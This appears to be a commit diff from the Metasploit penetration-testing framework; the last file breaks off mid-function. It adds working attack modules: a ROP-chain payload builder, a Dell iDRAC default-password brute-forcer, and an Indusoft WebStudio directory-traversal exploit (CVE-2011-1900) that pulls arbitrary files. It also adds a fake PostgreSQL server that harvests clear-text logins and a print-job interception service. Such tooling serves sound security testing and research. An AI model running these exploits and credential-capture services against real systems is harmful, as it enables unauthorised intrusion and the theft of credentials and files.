@ -361,7 +366,7 @@ module Auxiliary::JohnTheRipper
|
|||
|
||||
if datastore['Wordlist']
|
||||
wordlist= File.open(datastore['Wordlist'], "rb")
|
||||
wordlist.each_line do |line|
|
||||
wordlist.each_line do |line|
|
||||
seed << line.chomp
|
||||
count ==1
|
||||
end
|
||||
|
@ -397,4 +402,3 @@ module Auxiliary::JohnTheRipper
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -15,6 +15,7 @@ require 'msf/core/exploit/omelet'
|
|||
require 'msf/core/exploit/seh'
|
||||
require 'msf/core/exploit/kernel_mode'
|
||||
require 'msf/core/exploit/exe'
|
||||
require 'msf/core/exploit/ropdb'
|
||||
|
||||
# CmdStagers
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/exploitation/ropdb'
|
||||
|
||||
##
|
||||
#
|
||||
# This mixin provides an interface to selecting a ROP chain, or creating a payload with
|
||||
# ROP using the Rex::Exploitation::RopDb class.
|
||||
#
|
||||
##
|
||||
|
||||
module Msf
|
||||
module Exploit::RopDb
|
||||
|
||||
def initialize(info = {})
|
||||
@rop_db = Rex::Exploitation::RopDb.new
|
||||
super
|
||||
end
|
||||
|
||||
def has_rop?(rop)
|
||||
@rop_db.has_rop?(rop)
|
||||
end
|
||||
|
||||
def select_rop(rop, opts={})
|
||||
rop = @rop_db.select_rop(rop, opts)
|
||||
return rop
|
||||
end
|
||||
|
||||
def generate_rop_payload(rop, payload, opts={})
|
||||
opts['badchars'] ||= payload_badchars
|
||||
rop_payload = @rop_db.generate_rop_payload(rop, payload, opts)
|
||||
return rop_payload
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -298,6 +298,15 @@ module Msf::Post::File
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Rename a remote file
|
||||
#
|
||||
def rename_file(new_file, old_file)
|
||||
write_file(new_file, (read_file(old_file)))
|
||||
rm_f(old_file)
|
||||
end
|
||||
alias :move_file :rename_file
|
||||
alias :mv_file :rename_file
|
||||
|
||||
protected
|
||||
#
|
||||
|
|
|
@ -0,0 +1,163 @@
|
|||
require 'rex/text'
|
||||
require 'rexml/document'
|
||||
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides methods to access the ROP database, in order to generate
|
||||
# a ROP-compatible payload on the fly.
|
||||
#
|
||||
###
|
||||
class RopDb
|
||||
def initialize
|
||||
@base_path = File.join(File.dirname(__FILE__), '../../../data/ropdb/')
|
||||
end
|
||||
|
||||
public
|
||||
|
||||
|
||||
#
|
||||
# Returns true if a ROP chain is available, otherwise false
|
||||
#
|
||||
def has_rop?(rop_name)
|
||||
File.exists?(File.join(@base_path, "#{rop_name}.xml"))
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
|
||||
# some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size,
|
||||
# and :size_negate.
|
||||
# Note if no RoP is found, it returns an empry array.
|
||||
# Arguments:
|
||||
# rop_name - name of the ROP chain.
|
||||
# opts - A hash of optional arguments:
|
||||
# 'target' - A regex string search against the compatibility list.
|
||||
# 'base' - Specify a different base for the ROP gadgets.
|
||||
#
|
||||
def select_rop(rop, opts={})
|
||||
target = opts['target'] || ''
|
||||
base = opts['base'] || nil
|
||||
|
||||
raise RuntimeError, "#{rop} ROP chain is not available" if not has_rop?(rop)
|
||||
xml = load_rop(File.join(@base_path, "#{rop}.xml"))
|
||||
|
||||
gadgets = []
|
||||
|
||||
xml.elements.each("db/rop") { |e|
|
||||
name = e.attributes['name']
|
||||
next if not has_target?(e, target)
|
||||
|
||||
if not base
|
||||
default = e.elements['gadgets'].attributes['base'].scan(/^0x([0-9a-f]+)$/i).flatten[0]
|
||||
base = default.to_i(16)
|
||||
end
|
||||
|
||||
gadgets << parse_gadgets(e, base)
|
||||
}
|
||||
return gadgets.flatten
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns a payload with the user-supplied stack-pivot, a ROP chain,
|
||||
# and then shellcode.
|
||||
# Arguments:
|
||||
# rop - Name of the ROP chain
|
||||
# payload - Payload in binary
|
||||
# opts - A hash of optional arguments:
|
||||
# 'nop' - Used to generate nops with generate_sled()
|
||||
# 'badchars' - Used in a junk gadget
|
||||
# 'pivot' - Stack pivot in binary
|
||||
# 'target' - A regex string search against the compatibility list.
|
||||
# 'base' - Specify a different base for the ROP gadgets.
|
||||
#
|
||||
def generate_rop_payload(rop, payload, opts={})
|
||||
nop = opts['nop'] || nil
|
||||
badchars = opts['badchars'] || ''
|
||||
pivot = opts['pivot'] || ''
|
||||
target = opts['target'] || ''
|
||||
base = opts['base'] || nil
|
||||
|
||||
rop = select_rop(rop, {'target'=>target, 'base'=>base})
|
||||
# Replace the reserved words with actual gadgets
|
||||
rop = rop.map {|e|
|
||||
if e == :nop
|
||||
sled = (nop) ? nop.generate_sled(4, badchars).unpack("V*")[0] : 0x90909090
|
||||
elsif e == :junk
|
||||
Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i
|
||||
elsif e == :size
|
||||
payload.length
|
||||
elsif e == :size_negate
|
||||
0xffffffff - payload.length + 1
|
||||
else
|
||||
e
|
||||
end
|
||||
}.pack("V*")
|
||||
|
||||
raise RuntimeError, "No ROP chain generated successfully" if rop.empty?
|
||||
|
||||
return pivot + rop + payload
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
|
||||
#
|
||||
# Checks if a ROP chain is compatible
|
||||
#
|
||||
def has_target?(rop, target)
|
||||
rop.elements.each('compatibility/target') { |t|
|
||||
return true if t.text =~ /#{target}/i
|
||||
}
|
||||
return false
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the database in XML
|
||||
#
|
||||
def load_rop(file_path)
|
||||
f = File.open(file_path, 'rb')
|
||||
xml = REXML::Document.new(f.read(f.stat.size))
|
||||
f.close
|
||||
return xml
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns gadgets
|
||||
#
|
||||
def parse_gadgets(e, image_base)
|
||||
gadgets = []
|
||||
e.elements.each('gadgets/gadget') { |g|
|
||||
offset = g.attributes['offset']
|
||||
value = g.attributes['value']
|
||||
|
||||
if offset
|
||||
addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0]
|
||||
gadgets << (image_base + addr.to_i(16))
|
||||
elsif value
|
||||
case value
|
||||
when 'nop'
|
||||
gadgets << :nop
|
||||
when 'junk'
|
||||
gadgets << :junk
|
||||
when 'size'
|
||||
gadgets << :size
|
||||
when 'size_negate'
|
||||
gadgets << :size_negate
|
||||
else
|
||||
gadgets << value.to_i(16)
|
||||
end
|
||||
else
|
||||
raise RuntimeError, "Missing offset or value attribute in '#{name}'"
|
||||
end
|
||||
}
|
||||
return gadgets
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -6,7 +6,6 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'json'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -45,7 +44,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -63,6 +61,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
begin
|
||||
require 'json'
|
||||
rescue LoadError
|
||||
print_error("Json is not available on your machine")
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
j = JSON.parse(res.body)
|
||||
|
||||
|
@ -78,7 +83,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
rescue JSON::ParserError
|
||||
print_error("Unable to parse JSON")
|
||||
print_line(res.body)
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -25,10 +25,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(update_info(info,
|
||||
'Name' => 'HTTP Form Field Fuzzer',
|
||||
'Description' => %q{
|
||||
This module will grab all fields from a form,
|
||||
and launch a series of POST actions, fuzzing the contents
|
||||
of the form fields. You can optionally fuzz headers too
|
||||
(option is enabled by default)
|
||||
This module will grab all fields from a form,
|
||||
and launch a series of POST actions, fuzzing the contents
|
||||
of the form fields. You can optionally fuzz headers too
|
||||
(option is enabled by default)
|
||||
},
|
||||
'Author' => [
|
||||
'corelanc0d3r',
|
||||
|
@ -69,28 +69,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
proto = "https://"
|
||||
end
|
||||
|
||||
useragent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102814 Ubuntu/8.10 (intrepid) Firefox/3.0.15"
|
||||
if datastore['UserAgent'] != nil
|
||||
if datastore['UserAgent'].length > 0
|
||||
useragent = datastore['UserAgent']
|
||||
end
|
||||
end
|
||||
|
||||
host = datastore['RHOST']
|
||||
if datastore['VHOST']
|
||||
if datastore['VHOST'].length > 0
|
||||
host = datastore['VHOST']
|
||||
end
|
||||
end
|
||||
|
||||
@send_data = {
|
||||
:uri => '',
|
||||
:version => '1.1',
|
||||
:method => 'POST',
|
||||
:headers => {
|
||||
'Content-Length' => 100,
|
||||
'Host' => host,
|
||||
'User-Agent' => useragent,
|
||||
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
||||
'Accept-Language' => 'en-us,en;q=0.5',
|
||||
'Accept-Encoding' => 'gzip,deflate',
|
||||
|
@ -98,12 +82,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Keep-Alive' => '300',
|
||||
'Connection' => 'keep-alive',
|
||||
'Referer' => proto + datastore['RHOST'] + ":" + datastore['RPORT'].to_s,
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Content-Type' => 'application/x-www-form-urlencoded'
|
||||
}
|
||||
}
|
||||
@get_data_headers = {
|
||||
'Host' => host,
|
||||
'User-Agent' => useragent,
|
||||
'Referer' => proto + datastore['RHOST'] + ":" + datastore['RPORT'].to_s,
|
||||
}
|
||||
end
|
||||
|
@ -272,6 +254,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
datastr=datastr[0,datastr.length-1]
|
||||
@send_data[:uri] = form[:action]
|
||||
@send_data[:uri] = "/#{form[:action]}" if @send_data[:uri][0,1] != '/'
|
||||
|
||||
@send_data[:method] = form[:method].upcase
|
||||
response = send_fuzz(@send_data,datastr)
|
||||
if not process_response(response,field,"field")
|
||||
|
@ -322,7 +306,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def get_field_val(input)
|
||||
tmp = input.split(/=/)
|
||||
tmp = input.split(/\=/)
|
||||
#get delimeter
|
||||
tmp2 = tmp[1].strip
|
||||
delim = tmp2[0,1]
|
||||
|
@ -435,7 +419,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
location = fielddata[0].index(thisfield)
|
||||
delta = fielddata[0].size - location
|
||||
remaining = fielddata[0][location,delta]
|
||||
tmp = remaining.strip.split(/=/)
|
||||
tmp = remaining.strip.split(/\=/)
|
||||
if tmp.size > 1
|
||||
delim = tmp[1][0,1]
|
||||
tmp2 = tmp[1].split(delim)
|
||||
|
|
|
@ -0,0 +1,119 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Dell iDRAC default Login',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module attempts to login to a iDRAC webserver instance using
|
||||
default username and password. Tested against Dell Remote Access
|
||||
Controller 6 - Express version 1.50 and 1.85
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Cristiano Maruti <cmaruti[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '1999-0502'] # Weak password
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to the iDRAC Administration page', '/data/login']),
|
||||
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
|
||||
File.join(Msf::Config.install_root, "data", "wordlists", "idrac_default_user.txt") ]),
|
||||
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
|
||||
File.join(Msf::Config.install_root, "data", "wordlists", "idrac_default_pass.txt") ]),
|
||||
OptInt.new('RPORT', [true, "Default remote port", 443])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('SSL', [true, "Negotiate SSL connection", true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def target_url
|
||||
proto = "http"
|
||||
if rport == 443 or ssl
|
||||
proto = "https"
|
||||
end
|
||||
"#{proto}://#{vhost}:#{rport}#{datastore['URI']}"
|
||||
end
|
||||
|
||||
def do_login(user=nil, pass=nil)
|
||||
|
||||
auth = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => target_uri.path,
|
||||
'SSL' => true,
|
||||
'vars_post' => {
|
||||
'user' => user,
|
||||
'password' => pass
|
||||
}
|
||||
})
|
||||
|
||||
if(auth and auth.body.to_s.match(/<authResult>[0|5]<\/authResult>/) != nil )
|
||||
print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:source_type => "user_supplied",
|
||||
:duplicate_ok => true
|
||||
)
|
||||
else
|
||||
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_status("Verifying that login page exists at #{ip}")
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path
|
||||
})
|
||||
|
||||
if (res and res.code == 200 and res.body.to_s.match(/<authResult>1/) != nil)
|
||||
print_status("Attempting authentication")
|
||||
|
||||
each_user_pass { |user, pass|
|
||||
do_login(user, pass)
|
||||
}
|
||||
|
||||
elsif (res and res.code == 301)
|
||||
print_error("#{target_url} - Page redirect to #{res.headers['Location']}")
|
||||
return :abort
|
||||
else
|
||||
print_error("The iDRAC login page does not exist at #{ip}")
|
||||
return :abort
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
rescue ::OpenSSL::SSL::SSLError => e
|
||||
return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,116 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Indusoft WebStudio NTWebServer Remote File Access',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability in Indusoft WebStudio.
|
||||
The vulnerability exists in the NTWebServer component and allows to read arbitrary
|
||||
remote files with the privileges of the NTWebServer process. The module has been
|
||||
tested successfully on Indusoft WebStudio 6.1 SP6.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-1900' ],
|
||||
[ 'OSVDB', '73413' ],
|
||||
[ 'BID', '47842' ],
|
||||
[ 'URL', 'http://www.indusoft.com/hotfixes/hotfixes.php' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('RFILE', [true, 'Remote File', '/boot.ini']),
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 3])
|
||||
], self.class)
|
||||
|
||||
register_autofilter_ports([ 80 ])
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if not res
|
||||
print_error("#{rhost}:#{rport} - Unable to connect")
|
||||
return
|
||||
end
|
||||
|
||||
accessfile(ip)
|
||||
end
|
||||
|
||||
def accessfile(rhost)
|
||||
|
||||
traversal = "../" * datastore['DEPTH']
|
||||
rfile = ""
|
||||
|
||||
if datastore['RFILE'][0] == "/"
|
||||
rfile = datastore['RFILE'][1..datastore['RFILE'].length-1]
|
||||
else
|
||||
rfile = datastore['RFILE']
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Checking if file exists...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{traversal}#{rfile}",
|
||||
'method' => 'HEAD'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.message =~ /File Exists/
|
||||
print_good("#{rhost}:#{rport} - The file exists")
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - The file doesn't exist")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Retrieving remote file...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{traversal}#{rfile}",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.message =~ /Sending file/
|
||||
loot = res.body
|
||||
if not loot or loot.empty?
|
||||
print_status("#{rhost}:#{rport} - Retrieved empty file")
|
||||
return
|
||||
end
|
||||
f = ::File.basename(datastore['RFILE'])
|
||||
path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
|
||||
print_status("#{rhost}:#{rport} - #{datastore['RFILE']} saved in #{path}")
|
||||
return
|
||||
end
|
||||
|
||||
print_error("#{rhost}:#{rport} - Failed to retrieve file")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -477,7 +477,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
multihandler.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
|
||||
multihandler.datastore['ParentUUID'] = datastore["ParentUUID"] if datastore["ParentUUID"]
|
||||
multihandler.datastore['CAMPAIGN_ID'] = datastore["CAMPAIGN_ID"] if datastore["CAMPAIGN_ID"]
|
||||
multihandler.datastore['BAP'] = true
|
||||
multihandler.datastore['ParentModule'] = self.fullname
|
||||
multihandler.datastore['AutopwnUUID'] = self.uuid
|
||||
multihandler.datastore['LPORT'] = lport
|
||||
multihandler.datastore['LHOST'] = @lhost
|
||||
|
|
|
@ -0,0 +1,114 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Authentication Capture: PostgreSQL',
|
||||
'Description' => %q{
|
||||
This module provides a fake PostgreSQL service that is designed to
|
||||
capture clear-text authentication credentials.},
|
||||
'Author' => 'Dhiru Kholia <dhiru[at]openwall.com>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [ [ 'Capture' ] ],
|
||||
'PassiveActions' => [ 'Capture' ],
|
||||
'DefaultAction' => 'Capture'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5432 ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# This module is based on MySQL capture module by Patrik Karlsson.
|
||||
# Reference: http://www.postgresql.org/docs/9.2/static/protocol-message-formats.html
|
||||
|
||||
def setup
|
||||
super
|
||||
@state = {}
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
exploit()
|
||||
end
|
||||
|
||||
def on_client_connect(c)
|
||||
@state[c] = {
|
||||
:name => "#{c.peerhost}:#{c.peerport}",
|
||||
:ip => c.peerhost,
|
||||
:port => c.peerport,
|
||||
}
|
||||
@state[c]["status"] = :init
|
||||
end
|
||||
|
||||
def on_client_data(c)
|
||||
data = c.get_once
|
||||
return if not data
|
||||
length = data.slice(0, 4).unpack("N")[0]
|
||||
if length == 8 and @state[c]["status"] == :init
|
||||
# SSL request
|
||||
c.put 'N'
|
||||
@state[c]["status"] = :send_auth_type
|
||||
elsif @state[c]["status"] == :send_auth_type
|
||||
# Startup message
|
||||
data.slice!(0, 4).unpack("N")[0] # skip over length
|
||||
data.slice!(0, 4).unpack("N")[0] # skip over protocol
|
||||
sdata = [ 0x52, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03 ].pack("C*")
|
||||
c.put sdata
|
||||
data.slice!(0, 5) # skip over "user\x00"
|
||||
@state[c][:username] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
|
||||
data.slice!(0, 9) # skip over "database\x00"
|
||||
@state[c][:database] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
|
||||
@state[c]["status"] = :pwn
|
||||
elsif @state[c]["status"] == :pwn and data[0] == 'p'
|
||||
# Password message
|
||||
data.slice!(0, 5).unpack("N")[0] # skip over length
|
||||
@state[c][:password] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
|
||||
report_auth_info(
|
||||
:host => c.peerhost,
|
||||
:port => datastore['SRVPORT'],
|
||||
:sname => 'psql_client',
|
||||
:user => @state[c][:username],
|
||||
:pass => @state[c][:password],
|
||||
:type => "PostgreSQL credentials",
|
||||
:proof => @state[c][:database],
|
||||
:source_type => "captured",
|
||||
:active => true
|
||||
)
|
||||
print_status("PostgreSQL LOGIN #{@state[c][:name]} #{@state[c][:username]} / #{@state[c][:password]} / #{@state[c][:database]}")
|
||||
# send failure message
|
||||
sdata = [ 0x45, 97 - 8 + @state[c][:username].length].pack("CN")
|
||||
sdata << "SFATAL"
|
||||
sdata << "\x00"
|
||||
sdata << "C28P01"
|
||||
sdata << "\x00"
|
||||
sdata << "Mpassword authentication failed for user \"#{@state[c][:username]}\""
|
||||
sdata << "\x00"
|
||||
sdata << "Fauth.c"
|
||||
sdata << "\x00"
|
||||
sdata << "L302"
|
||||
sdata << "\x00"
|
||||
sdata << "Rauth_failed"
|
||||
sdata << "\x00\x00"
|
||||
c.put sdata
|
||||
c.close
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def on_client_close(c)
|
||||
@state.delete(c)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,280 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Printjob Capture Service',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module is designed to listen for PJL or PostScript print
|
||||
jobs. Once a print job is detected it is saved to loot. The
|
||||
captured printjob can then be forwarded on to another printer
|
||||
(required for LPR printjobs). Resulting PCL/PS files can be
|
||||
read with GhostScript/GhostPCL.
|
||||
|
||||
Note, this module does not yet support IPP connections.
|
||||
},
|
||||
'Author' => ['Chris John Riley', 'todb'],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
# Based on previous prn-2-me tool (Python)
|
||||
['URL', 'http://blog.c22.cc/toolsscripts/prn-2-me/'],
|
||||
# Readers for resulting PCL/PC
|
||||
['URL', 'http://www.ghostscript.com']
|
||||
],
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Capture' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Capture'
|
||||
],
|
||||
'DefaultAction' => 'Capture'
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptPort.new('SRVPORT', [ true, 'The local port to listen on', 9100 ]),
|
||||
OptBool.new('FORWARD', [ true, 'Forward print jobs to another host', false ]),
|
||||
OptPort.new('RPORT', [ false, 'Forward to remote port', 9100 ]),
|
||||
OptAddress.new('RHOST', [ false, 'Forward to remote host' ]),
|
||||
OptBool.new('METADATA', [ true, 'Display Metadata from printjobs', true ]),
|
||||
OptEnum.new('MODE', [ true, 'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP
|
||||
|
||||
], self.class)
|
||||
|
||||
deregister_options('SSL', 'SSLVersion', 'SSLCert')
|
||||
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
@state = {}
|
||||
|
||||
begin
|
||||
|
||||
@srvhost = datastore['SRVHOST']
|
||||
@srvport = datastore['SRVPORT'] || 9100
|
||||
@mode = datastore['MODE'].upcase || 'RAW'
|
||||
print_status("Starting Print Server on %s:%s - %s mode" % [@srvhost, @srvport, @mode])
|
||||
if datastore['FORWARD']
|
||||
@forward = datastore['FORWARD']
|
||||
@rport = datastore['RPORT'] || 9100
|
||||
if not datastore['RHOST'].nil?
|
||||
@rhost = datastore['RHOST']
|
||||
print_status("Forwarding all printjobs to #{@rhost}:#{@rport}")
|
||||
else
|
||||
raise ArgumentError, "Cannot forward without a valid RHOST"
|
||||
end
|
||||
end
|
||||
if not @mode == 'RAW' and not @forward
|
||||
raise ArgumentError, "Cannot intercept LPR/IPP without a forwarding target"
|
||||
end
|
||||
@metadata = datastore['METADATA']
|
||||
|
||||
exploit()
|
||||
|
||||
rescue => ex
|
||||
print_error(ex.message)
|
||||
end
|
||||
end
|
||||
|
||||
def on_client_connect(c)
|
||||
@state[c] = {
|
||||
:name => "#{c.peerhost}:#{c.peerport}",
|
||||
:ip => c.peerhost,
|
||||
:port => c.peerport,
|
||||
:user => nil,
|
||||
:pass => nil,
|
||||
:data => '',
|
||||
:raw_data => '',
|
||||
:prn_title => '',
|
||||
:prn_type => '',
|
||||
:prn_metadata => {},
|
||||
:meta_output => []
|
||||
}
|
||||
|
||||
print_status("#{name}: Client connection from #{c.peerhost}:#{c.peerport}")
|
||||
end
|
||||
|
||||
def on_client_data(c)
|
||||
curr_data = c.get_once
|
||||
@state[c][:data] << curr_data
|
||||
if @mode == 'RAW'
|
||||
# RAW Mode - no further actions
|
||||
elsif @mode == 'LPR' or @mode == 'IPP'
|
||||
response = stream_data(curr_data)
|
||||
c.put(response)
|
||||
end
|
||||
|
||||
if (Rex::Text.to_hex(curr_data.first)) == '\x02' and (Rex::Text.to_hex(curr_data.last)) == '\x0a'
|
||||
print_status("LPR Jobcmd \"%s\" received" % curr_data[1..-2]) if not curr_data[1..-2].empty?
|
||||
end
|
||||
|
||||
return if not @state[c][:data]
|
||||
end
|
||||
|
||||
def on_client_close(c)
|
||||
print_status("#{name}: Client #{c.peerhost}:#{c.peerport} closed connection after %d bytes of data" % @state[c][:data].length)
|
||||
sock.close if sock
|
||||
|
||||
# forward RAW data as it's not streamed
|
||||
if @forward and @mode == 'RAW'
|
||||
forward_data(@state[c][:data])
|
||||
end
|
||||
|
||||
#extract print data and Metadata from @state[c][:data]
|
||||
begin
|
||||
# postscript data
|
||||
if @state[c][:data] =~ /%!PS-Adobe/i
|
||||
@state[c][:prn_type] = "PS"
|
||||
print_good("Printjob intercepted - type PostScript")
|
||||
# extract PostScript data including header and EOF marker
|
||||
@state[c][:raw_data] = @state[c][:data].match(/%!PS-Adobe.*%%EOF/im)[0]
|
||||
# pcl data (capture PCL or PJL start code)
|
||||
elsif @state[c][:data].unpack("H*")[0] =~ /(1b45|1b25|1b26)/
|
||||
@state[c][:prn_type] = "PCL"
|
||||
print_good("Printjob intercepted - type PCL")
|
||||
#extract everything between PCL start and end markers (various)
|
||||
@state[c][:raw_data] = Array(@state[c][:data].unpack("H*")[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack("H*")
|
||||
end
|
||||
|
||||
# extract Postsript Metadata
|
||||
metadata_ps(c) if @state[c][:data] =~ /^%%/i
|
||||
|
||||
# extract PJL Metadata
|
||||
metadata_pjl(c) if @state[c][:data] =~ /@PJL/i
|
||||
|
||||
# extract IPP Metadata
|
||||
metadata_ipp(c) if @state[c][:data] =~ /POST \/ipp/i or @state[c][:data] =~ /application\/ipp/i
|
||||
|
||||
if not @state[c][:prn_type]
|
||||
